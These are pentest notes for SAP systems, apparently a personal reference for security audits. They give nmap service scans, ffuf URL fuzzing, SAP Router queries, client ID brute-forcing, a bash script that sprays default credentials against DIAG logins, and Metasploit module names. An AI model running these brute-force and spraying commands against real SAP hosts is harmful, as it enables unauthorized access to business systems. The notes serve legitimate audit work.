Pentesting SAP

Goal

This page is a mix of reference material and brain dump for SAP security audit / pentest.

Special thanks to @nitbx for training me! I hope to be as good as he is some day.

OOP

CLI

Launching SAP GUI

powershell

&"C:\Program Files (x86)\SAP\FrontEnd\SapGui\SAPgui.exe" "/H/192.168.0.2/S/3201"

Network Reconnaissance

Scan the hosts using https://github.com/gelim/nmap-sap

bash

nmap -n --open --datadir . -sV -p $(./sap_ports.py) -iL ../hosts.list  --open -oA ../nmap/sap_services

Use the MSF module auxiliary/scanner/sap/sap_service_discovery

Take note of the SAP services identified.

Login screen information retrieval (32NN)

bash

parallel --col-sep ':' diag_login_screen_info.py -d {1} -p {2}  :::: hosts_v1.list | tee login_screen/output_1

Client ID discovery (bruteforce)

bash

diag_login_brute_force.py --discovery --discovery-range 000-999 -d 192.168.224.219

Known SAP URL bruteforce

Combine the wordlists into a single file

bash

parallel ffuf -w wordlists/sap.list -u {1}/FUZZ -r -v -of all -o ffuf/{#} :::: pdiscovery/sap_services.httpx

SAP Router

If a host has port 3299 open -> Check if it's running the Router service.

Then use sap_router_info_request to get the connection table.

Use sap_router_portscanner after.

Default Credentials

Spray default credentials with

bash

diag_login_brute_force.py -p 3200 -d RHOST -c default_sap_credentials --verbose | tee ./default_creds_spray_RHOST_3200.output

Spray the web interface of SAP GUI with metasploit scanner/sap/sap_web_gui_brute_login module.

Default credentials are stored in sap_default.txt.

Quick script to run the job with GNU parallel

bash

#!/bin/bash
set -xe
host=$1
port=$2


if [[ -z "${1}" ]]
then
    echo "missing host"
    exit 1
fi

if [[ -z "${2}" ]]
then
    echo "missing port"
    exit 1
fi

mkdir -pv ./brute_output

diag_login_brute_force.py -d "${1}" -p "${2}" -c ./default_sap_credentials --discovery --discovery-range 000-999 --verbose | tee -a "./brute_output/${1}_${2}.output"

Configuration Audit

Security policy settings

/nSA38 with RSPARAM

Metasploit modules

auxiliary/scanner/sap/sap_service_discovery
scanner/sap/sap_icm_urlscan
scanner/sap/sap_router_info_request (3299)
auxiliary/scanner/http/sap_businessobjects_user_enum (/dswsbobje/services/BICatalog?wsdl)